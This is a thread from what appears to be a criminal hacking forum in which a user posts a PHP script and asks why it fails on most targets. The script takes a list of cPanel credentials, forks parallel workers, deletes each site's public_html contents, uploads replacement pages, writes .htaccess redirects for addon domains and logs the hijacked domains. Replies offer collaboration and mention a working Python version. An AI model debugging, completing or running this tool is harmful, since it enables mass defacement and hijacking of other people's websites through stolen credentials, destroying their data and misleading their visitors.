• XSS.stack #1 – первый литературный журнал от юзеров форума

[Script] [Help] cPanel uploader and domain redirecter

MrDark

Bratva
Пользователь
Регистрация
16.10.2023
Сообщения
200
Реакции
97
Депозит
5 Ł
First of all, Merry Christmas!
Building a script that will use a list of cpanels url:user:pass to upload and replace original site and redirect all existing domains + subdomains to public_html path.
I don't understand what am I doing wrong? Like 5-10 % off cpanels gets the job done right, the rest will say success but site is not replaced with the site i want.

Any help would be appreciated.

PHP:
<?php

class Cpanel
{
    protected $cpanelUsername;
    protected $cpanelPassword;
    protected $cpanelUrl;

    public function __construct($cpanelUsername, $cpanelPassword, $cpanelUrl)
    {
        $this->cpanelPassword = $cpanelPassword;
        $this->cpanelUsername = $cpanelUsername;
        $this->cpanelUrl = $cpanelUrl;
    }



private function getAddonDomains()
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $getAddonDomainsActionUrl = $this->cpanelUrl . "/json-api/cpanel";

    $payload = array(
        'cpanel_jsonapi_module' => 'DomainInfo',
        'cpanel_jsonapi_func' => 'list_domains',
        'cpanel_jsonapi_apiversion' => 3,
    );

    $curlGetAddonDomains = curl_init();
    curl_setopt($curlGetAddonDomains, CURLOPT_URL, $getAddonDomainsActionUrl);
    curl_setopt($curlGetAddonDomains, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlGetAddonDomains, CURLOPT_POST, true);
    curl_setopt($curlGetAddonDomains, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curlGetAddonDomains, CURLOPT_HTTPHEADER, $header);

    $addonDomainsResult = curl_exec($curlGetAddonDomains);
    curl_close($curlGetAddonDomains);

    $addonDomainsResultArray = json_decode($addonDomainsResult, true);

    $addonDomains = [];

    if (
        isset($addonDomainsResultArray['result']['data']['addon_domains']) &&
        is_array($addonDomainsResultArray['result']['data']['addon_domains'])
    ) {
        $addonDomains = $addonDomainsResultArray['result']['data']['addon_domains'];
    } else {
        error_log("Failed to retrieve addon domains. Response: " . json_encode($addonDomainsResultArray));
    }

    return $addonDomains;
}


   
    public function setRedirectForAddonDomains()
    {
        $addonDomains = $this->getAddonDomains();
        $mainDomain = $this->getMainDomain();

        foreach ($addonDomains as $addonDomain) {
            $this->addRedirectRule($addonDomain, $mainDomain);
        }
    }

    private function addRedirectRule($sourceDomain, $destinationDomain)
    {
        $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

        $addRedirectRuleActionUrl = $this->cpanelUrl . "/json-api/cpanel";

        $payload = array(
            'cpanel_jsonapi_module' => 'Fileman',
            'cpanel_jsonapi_func' => 'savefile',
            'cpanel_jsonapi_apiversion' => 3,
            'dir' => '/public_html',
            'file' => '.htaccess',
            'content' => "RewriteEngine On\n"
                . "RewriteCond %{HTTP_HOST} ^" . preg_quote($sourceDomain, '/') . "$ [NC]\n"
                . "RewriteRule ^(.*)$ http://" . $destinationDomain . "/$1 [L,R=301]\n",
        );

        $curlAddRedirectRule = curl_init();
        curl_setopt($curlAddRedirectRule, CURLOPT_URL, $addRedirectRuleActionUrl);
        curl_setopt($curlAddRedirectRule, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curlAddRedirectRule, CURLOPT_POST, true);
        curl_setopt($curlAddRedirectRule, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($curlAddRedirectRule, CURLOPT_HTTPHEADER, $header);

        $addRedirectRuleResult = curl_exec($curlAddRedirectRule);
        curl_close($curlAddRedirectRule);

        $addRedirectRuleResultArray = json_decode($addRedirectRuleResult, true);

        if ($addRedirectRuleResultArray && empty($addRedirectRuleResultArray['errors'])) {
            echo "Redirect rule added for $sourceDomain to $destinationDomain.\n--------------------------------------------------\n";
        } else {
            error_log("Failed to add redirect rule for $sourceDomain. Response: " . json_encode($addRedirectRuleResultArray));
        }
    }





public function clearPublicHtml($destinationDir = "/public_html")
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $deleteAllPayload = array(
        'dir' => $destinationDir,
    );

    $deleteAllActionUrl = $this->cpanelUrl . "/execute/Fileman/empty_files";

    $curlDeleteAll = curl_init();
    curl_setopt($curlDeleteAll, CURLOPT_URL, $deleteAllActionUrl);
    curl_setopt($curlDeleteAll, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlDeleteAll, CURLOPT_POST, true);
    curl_setopt($curlDeleteAll, CURLOPT_POSTFIELDS, $deleteAllPayload);
    curl_setopt($curlDeleteAll, CURLOPT_HTTPHEADER, $header);

    $deleteAllResult = curl_exec($curlDeleteAll);
    curl_close($curlDeleteAll);

    $deleteAllResultArray = json_decode($deleteAllResult, true);

    return $deleteAllResultArray;
}


public function checkFileExists($filePath)
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $payload = array('dir' => dirname($filePath), 'file' => basename($filePath));

    $checkFileExistsActionUrl = $this->cpanelUrl . "/execute/Fileman/file_exists";

    $curlCheckFileExists = curl_init();
    curl_setopt($curlCheckFileExists, CURLOPT_URL, $checkFileExistsActionUrl);
    curl_setopt($curlCheckFileExists, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlCheckFileExists, CURLOPT_POST, true);
    curl_setopt($curlCheckFileExists, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curlCheckFileExists, CURLOPT_HTTPHEADER, $header);

    $checkFileExistsResult = curl_exec($curlCheckFileExists);
    curl_close($curlCheckFileExists);

    $checkFileExistsResultArray = json_decode($checkFileExistsResult, true);

    return $checkFileExistsResultArray;
}



public function getMainDomain()
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $getMainDomainActionUrl = $this->cpanelUrl . "/execute/DomainInfo/list_domains";

    $curlGetMainDomain = curl_init();
    curl_setopt($curlGetMainDomain, CURLOPT_URL, $getMainDomainActionUrl);
    curl_setopt($curlGetMainDomain, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlGetMainDomain, CURLOPT_HTTPHEADER, $header);

    $mainDomainResult = curl_exec($curlGetMainDomain);
    curl_close($curlGetMainDomain);

    $mainDomainResultArray = json_decode($mainDomainResult, true);

    if ($mainDomainResultArray && empty($mainDomainResultArray['errors'])) {
        $mainDomain = $mainDomainResultArray['data']['main_domain'];
        return $mainDomain;
    } else {
        error_log("Failed to retrieve the main domain. Response: " . json_encode($mainDomainResultArray));
        return null;
    }
}



public function uploadFilesAndFolders($files, $folders, $destinationDir = "/public_html")
{
    $clearResult = $this->clearPublicHtml($destinationDir);

    if (!$clearResult || !empty($clearResult['error'])) {
        die(json_encode($clearResult));
    }

    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $curl = curl_init();
    $payload = array('dir' => $destinationDir);

    $successUploads = [];

    foreach ($files as $index => $file) {
        $uploadFile = realpath($file);

        $existingFile = $this->checkFileExists($destinationDir . '/' . basename($uploadFile));

        if ($existingFile && !empty($existingFile['data']['uploads'][0]['status']) && $existingFile['data']['uploads'][0]['status'] === 0) {
            continue;
        }

        if (function_exists('curl_file_create')) {
            $cf = curl_file_create($uploadFile);
        } else {
            $cf = "@/" . $uploadFile;
        }

        $payload['file-' . ($index + 1)] = $cf;
    }

    foreach ($folders as $index => $folder) {
        $this->addFilesInFolder($folder, '', $payload, $destinationDir);
    }

    $actionUrl = $this->cpanelUrl . "/execute/Fileman/upload_files";
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_URL, $actionUrl);

    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

    $result = curl_exec($curl);
    if ($result === false) {
        error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $actionUrl");
    }

    curl_close($curl);

    $resultArray = json_decode($result, true);

    if (!$resultArray || !empty($resultArray['error'])) {
        return $resultArray;
    }

    $failedUploads = array_filter($resultArray['data']['uploads'], function ($upload) {
        return !empty($upload['status']) && $upload['status'] !== 1;
    });

    $successUploads = array_merge(
        $successUploads,
        array_filter($resultArray['data']['uploads'], function ($upload) {
            return !empty($upload['status']) && $upload['status'] === 1;
        })
    );

    if (!empty($failedUploads)) {
        echo "Warning: Some files could not be uploaded. Details:\n";
        print_r($failedUploads);
    }

    if (!empty($successUploads)) {

    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $getMainDomainActionUrl = $this->cpanelUrl . "/execute/DomainInfo/list_domains";

    $curlGetMainDomain = curl_init();
    curl_setopt($curlGetMainDomain, CURLOPT_URL, $getMainDomainActionUrl);
    curl_setopt($curlGetMainDomain, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlGetMainDomain, CURLOPT_HTTPHEADER, $header);

    $mainDomainResult = curl_exec($curlGetMainDomain);
    curl_close($curlGetMainDomain);

    $mainDomainResultArray = json_decode($mainDomainResult, true);

    if ($mainDomainResultArray && empty($mainDomainResultArray['errors'])) {
        $mainDomain = $mainDomainResultArray['data']['main_domain'];
        $subDomain = $mainDomainResultArray['data']['sub_domains'];
        $addonDomain = $mainDomainResultArray['data']['addon_domains'];
         echo "\nFiles have been uploaded successfully to -> ". $mainDomain . "\n\n";

       if (!empty($mainDomain)) {
           $domainInfo = "[Main domain]\n$mainDomain\n\n[Sub-Domains]\n" . implode("\n", $mainDomainResultArray['data']['sub_domains']) . "\n\n[Addon domains]\n" . implode("\n", $mainDomainResultArray['data']['addon_domains']) . "\n\n----------------------------------------\n\n";
           file_put_contents('domain_info.txt', $domainInfo, FILE_APPEND);
}

        return $mainDomain;

    } else {
   
        error_log("Failed to retrieve the main domain. Response: " . json_encode($mainDomainResultArray));
        return null;
    }


    }

    return $resultArray;
}




    private function addFilesInFolder($folder, $relativePath, &$payload, $destinationDir)
    {
        $files = scandir($folder);
        foreach ($files as $file) {
            if ($file != '.' && $file != '..') {
                $uploadFile = realpath($folder . '/' . $file);
                $relativePath = ltrim($relativePath . '/' . $file, '/');
                $relativePath = str_replace(DIRECTORY_SEPARATOR, '/', $relativePath);

                $payload['file-' . count($payload)] = curl_file_create($uploadFile);
                $payload['dir-' . count($payload)] = $destinationDir . '/' . dirname($relativePath);

                if (is_dir($uploadFile)) {
                    $this->addFilesInFolder($uploadFile, $relativePath, $payload, $destinationDir);
                }
            }
        }
    }
}

function processCpanelOperation($server, $port, $username, $password, $files, $folders, $directory)
{
    if ($port == 2083) {
        $cpanel = new Cpanel($username, $password, "$server:$port");
        $result = $cpanel->uploadFilesAndFolders($files, $folders, $directory);

        if (!$result || !empty($result['error'])) {
            file_put_contents('errors_cpanel.txt', "Error for $server:$port - " . json_encode($result) . "\n", FILE_APPEND);
        } else {
            echo "Process completed for $server:$port\n";
        }

        $cpanel->setRedirectForAddonDomains();
    }
}

$lines = file('cpanels.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

$maxProcesses = 5;

$startedProcesses = 0;

$files = [__DIR__ . '/index.html', __DIR__ . '/index#U0441.html'];
$folders = [__DIR__ . '/assets', __DIR__ . '/js'];
$directory = "/public_html";

foreach ($lines as $line) {
    $components = explode(':', $line);

    if (count($components) === 4 && $components[1] == 2083) {
        list($server, $port, $username, $password) = $components;

        if ($startedProcesses < $maxProcesses) {
            $pid = pcntl_fork();

            if ($pid == -1) {
                die('Could not fork');
            } elseif ($pid) {
                $startedProcesses++;
                continue;
            } else {
                processCpanelOperation($server, $port, $username, $password, $files, $folders, $directory);
                exit();
            }
        } else {
            pcntl_wait($status);
            $startedProcesses--;
        }
    } else {
        file_put_contents('errors_cpanel.txt', "Ignoring invalid line or port is not 2083: $line\n", FILE_APPEND);
     
    }
}

while (pcntl_waitpid(0, $status) != -1);

echo "Finish.\n";
 
I wanted to do something like this with Ziframer and err another one I forgot... if you get it working hmu please :)
I got it working, but in python - not in php :D using chromedrive and selenium.

Sent you a PM.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх